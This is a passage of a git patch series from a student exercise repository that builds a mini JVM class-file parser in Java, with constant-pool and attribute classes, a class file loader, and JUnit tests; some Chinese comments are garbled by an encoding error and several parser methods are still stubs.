+
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
+		return utf8Info.getValue();
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..1884cae795
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantInfo.java
@@ -0,0 +1,32 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	
+	protected ConstantPool constantPool;
+
+	public ConstantInfo() {
+
+	}
+
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+
+	public abstract int getType();
+
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantPool.getConstantInfo(index);
+	}
+
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantPool.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..033b2de3da
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+
+	public ConstantPool() {
+
+	}
+
+	public void addConstantInfo(ConstantInfo info) {
+
+		this.constantInfos.add(info);
+
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantInfos.get(index);
+	}
+
+	public String getUTF8String(int index) {
+		return ((UTF8Info) this.constantInfos.get(index)).getValue();
+	}
+
+	public Object getSize() {
+		return this.constantInfos.size() - 1;
+	}
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..48c4ee8eeb
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..2b2cbeabbc
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,57 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+
+	private int type = ConstantInfo.METHOD_INFO;
+
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public String toString() {
+
+		return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+	}
+
+	public String getClassName() {
+		ConstantPool pool = this.getConstantPool();
+		ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+
+	public String getMethodName() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getParamAndReturnType() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..f557cc7ded
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,48 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+	private int index1;
+	private int index2;
+
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getIndex1() {
+		return index1;
+	}
+
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+
+	public int getIndex2() {
+		return index2;
+	}
+
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public String getName() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+
+	public String getTypeInfo() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+
+	public String toString() {
+		return "(" + getName() + "," + getTypeInfo() + ")";
+	}
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NullConstantInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..c1cca00185
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..c4a198f8d5
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java
@@ -0,0 +1,27 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getIndex() {
+		return index;
+	}
+
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	public String toString() {
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..07243b928d
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class UTF8Info extends ConstantInfo {
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length;
+	private String value;
+
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
+	}
+
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..5d75712596
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,5 @@
+package com.github.chaoswang.learning.java.jvm.loader;
+
+public class ByteCodeIterator {
+
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileLoader.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..8ac7e8573d
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,116 @@
+package com.github.chaoswang.learning.java.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.github.chaoswang.learning.java.jvm.clz.ClassFile;
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	public byte[] readBinaryCode(String className) {
+
+		// String path = className.replaceAll("\\.", "/");
+		// ���õķ�������������
+		className = className.replace('.', File.separatorChar) + ".class";
+		for (String path : this.clzPaths) {
+
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if (codes != null) {
+				return codes;
+			}
+		}
+
+		return null;
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+
+		File f = new File(clzFileName);
+
+		try {
+
+			return IOUtils.toByteArray(new FileInputStream(f));
+
+		} catch (IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	public String getClassPath() {
+		return StringUtils.join(this.clzPaths, ";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+
+	}
+
+	public void addClassPath(String path) {
+		// �Ѿ��ӹ��IJ�Ҫ�ټ�
+		if (clzPaths.contains(path)) {
+			return;
+		}
+		clzPaths.add(path);
+	}
+
+	// ------------------------------backup------------------------
+	public String getClassPath_V1() {
+		StringBuffer sb = new StringBuffer();
+		for (String clzPath : clzPaths) {
+			sb.append(clzPath).append(";");
+		}
+		String classPath = sb.toString();
+		return classPath.substring(0, classPath.length() - 1);
+	}
+
+	// ��ȡһ��.class�ļ���ǰ4���ֽڣ� ת����ʮ�������ַ�������Dz��ǣ�CAFEBABE
+	private byte[] readClassFile_V1(String filePath) {
+		BufferedInputStream bis = null;
+		ByteArrayOutputStream bos = null;
+		try {
+			bis = new BufferedInputStream(new FileInputStream(filePath));
+			bos = new ByteArrayOutputStream();
+			byte[] bbuf = new byte[1024];// �������˼�ǣ�����������������������������ܶ�1024��Ҳ���ܲ���1024
+			int index = 0;
+
+			while ((index = bis.read(bbuf)) != -1) {
+				// ����read�����ڶ�������ĩβǰ���˷���һֱ����������ѭ������ʵ��ֻ���ӡһ��
+				System.out.println(bbuf.length);
+				bos.write(bbuf, 0, index);
+			}
+			return bos.toByteArray();
+		} catch (IOException e) {
+			e.printStackTrace();
+		} finally {
+			if (bis != null) {
+				try {
+					bis.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			if (bos != null) {
+				try {
+					bos.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..7c4608601e
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java
@@ -0,0 +1,31 @@
+package com.github.chaoswang.learning.java.jvm.loader;
+
+import com.github.chaoswang.learning.java.jvm.clz.AccessFlag;
+import com.github.chaoswang.learning.java.jvm.clz.ClassFile;
+import com.github.chaoswang.learning.java.jvm.clz.ClassIndex;
+import com.github.chaoswang.learning.java.jvm.constant.ConstantPool;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/util/Util.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/util/Util.java
new file mode 100644
index 0000000000..f74531ca2d
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/util/Util.java
@@ -0,0 +1,22 @@
+package com.github.chaoswang.learning.java.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes) {
+		String s1 = byteToHexString(codes);
+		return Integer.valueOf(s1, 16).intValue();
+	}
+
+	public static String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
index 25f2d1afb8..927a37b6fd 100644
--- a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
+++ b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/jvm/ClassFileloaderTest.java
@@ -5,11 +5,31 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.github.chaoswang.learning.java.jvm.clz.ClassFile;
+import com.github.chaoswang.learning.java.jvm.clz.ClassIndex;
+import com.github.chaoswang.learning.java.jvm.constant.ClassInfo;
+import com.github.chaoswang.learning.java.jvm.constant.ConstantPool;
+import com.github.chaoswang.learning.java.jvm.constant.MethodRefInfo;
+import com.github.chaoswang.learning.java.jvm.constant.NameAndTypeInfo;
+import com.github.chaoswang.learning.java.jvm.constant.UTF8Info;
+import com.github.chaoswang.learning.java.jvm.loader.ClassFileLoader;
+
 public class ClassFileloaderTest {
 
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/github/chaoswang/learning/java/jvm/EmployeeV1";
+	static String path1 = "E:\\workspace_jee\\coding2017\\target\\test-classes";
 	static String path2 = "C:\temp";
 
+	static ClassFile clzFile = null;
+//	static {
+//		ClassFileLoader loader = new ClassFileLoader();
+//		loader.addClassPath(path1);
+//		String className = "com.github.chaoswang.learning.java.jvm.EmployeeV1";
+//
+//		clzFile = loader.loadClass(className);
+//		clzFile.print();
+//	}
+
 	@Before
 	public void setUp() throws Exception {
 	}
@@ -37,12 +57,12 @@ public void testClassFileLength() {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = "com.github.chaoswang.learning.java.jvm.EmployeeV1";
 
 		byte[] byteCodes = loader.readBinaryCode(className);
 
 		// ע�⣺����ֽ������ܺ����JVM�汾�й�ϵ�� ����Կ�������õ��ൽ���ж��
-		Assert.assertEquals(1056, byteCodes.length);
+		Assert.assertEquals(1086, byteCodes.length);
 
 	}
 
@@ -50,7 +70,7 @@ public void testClassFileLength() {
 	public void testMagicNumber() {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = "com.github.chaoswang.learning.java.jvm.EmployeeV1";
 		byte[] byteCodes = loader.readBinaryCode(className);
 		byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
 
@@ -63,6 +83,7 @@ private String byteToHexString(byte[] codes) {
 		StringBuffer buffer = new StringBuffer();
 		for (int i = 0; i < codes.length; i++) {
 			byte b = codes[i];
+			// ��0xff����󣬸�24λ�ͻᱻ��0����������˲�������24λ�Ჹ1�������������ľͲ���ca������ffffffca
 			int value = b & 0xFF;
 			String strHex = Integer.toHexString(value);
 			if (strHex.length() < 2) {
@@ -73,4 +94,95 @@ private String byteToHexString(byte[] codes) {
 		return buffer.toString();
 	}
 
+	/**
+	 * ----------------------------------------------------------------------
+	 */
+
+	@Test
+	public void testVersion() {
+
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+
+	}
+
+	@Test
+	public void testConstantPool() {
+
+		ConstantPool pool = clzFile.getConstantPool();
+
+		Assert.assertEquals(53, pool.getSize());
+
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+
+		{
+			MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		// ��鼸����
+		{
+			MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+	}
+
+	@Test
+	public void testClassIndex() {
+
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+	}
+
 }
\ No newline at end of file

From da8d44dced8f38c6a9844b60cd5a0b43e7a62a93 Mon Sep 17 00:00:00 2001
From: chaoswang <chaoswang@163.com>
Date: Tue, 11 Apr 2017 23:06:19 +0800
Subject: [PATCH 072/262] =?UTF-8?q?jvm=E7=AC=AC=E4=B8=89=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=A1=86=E6=9E=B6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../learning/java/jvm/attr/AttributeInfo.java | 19 +++++
 .../learning/java/jvm/attr/CodeAttr.java      | 50 ++++++++++++
 .../java/jvm/attr/LineNumberTable.java        | 45 +++++++++++
 .../java/jvm/attr/LocalVariableItem.java      | 49 ++++++++++++
 .../java/jvm/attr/LocalVariableTable.java     | 23 ++++++
 .../learning/java/jvm/attr/StackMapTable.java | 29 +++++++
 .../learning/java/jvm/clz/ClassFile.java      | 24 ++++++
 .../learning/java/jvm/field/Field.java        | 31 ++++++++
 .../java/jvm/loader/ByteCodeIterator.java     | 52 ++++++++++++-
 .../learning/java/jvm/method/Method.java      | 51 +++++++++++++
 .../java/jvm/ClassFileloaderTest.java         | 76 +++++++++++++++++++
 11 files changed, 448 insertions(+), 1 deletion(-)
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/AttributeInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/CodeAttr.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LineNumberTable.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableItem.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableTable.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/StackMapTable.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/field/Field.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/method/Method.java

diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/AttributeInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..737a9d83db
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.github.chaoswang.learning.java.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;
+	int attrLen;
+
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/CodeAttr.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..f7157b9d3c
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/CodeAttr.java
@@ -0,0 +1,50 @@
+package com.github.chaoswang.learning.java.jvm.attr;
+
+import com.github.chaoswang.learning.java.jvm.clz.ClassFile;
+import com.github.chaoswang.learning.java.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		
+		return null;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LineNumberTable.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..8f52a6feac
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LineNumberTable.java
@@ -0,0 +1,45 @@
+package com.github.chaoswang.learning.java.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.chaoswang.learning.java.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+	private static class LineNumberItem {
+		int startPC;
+		int lineNum;
+
+		public int getStartPC() {
+			return startPC;
+		}
+
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+
+		public int getLineNum() {
+			return lineNum;
+		}
+
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+
+	public void addLineNumberItem(LineNumberItem item) {
+		this.items.add(item);
+	}
+
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+
+	}
+
+	public static LineNumberTable parse(ByteCodeIterator iter) {
+
+		return null;
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableItem.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..4c4443a4d1
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,49 @@
+package com.github.chaoswang.learning.java.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+
+	public int getStartPC() {
+		return startPC;
+	}
+
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+
+	public int getDescIndex() {
+		return descIndex;
+	}
+
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+
+	public int getIndex() {
+		return index;
+	}
+
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableTable.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..c56aee7f26
--- /dev/null
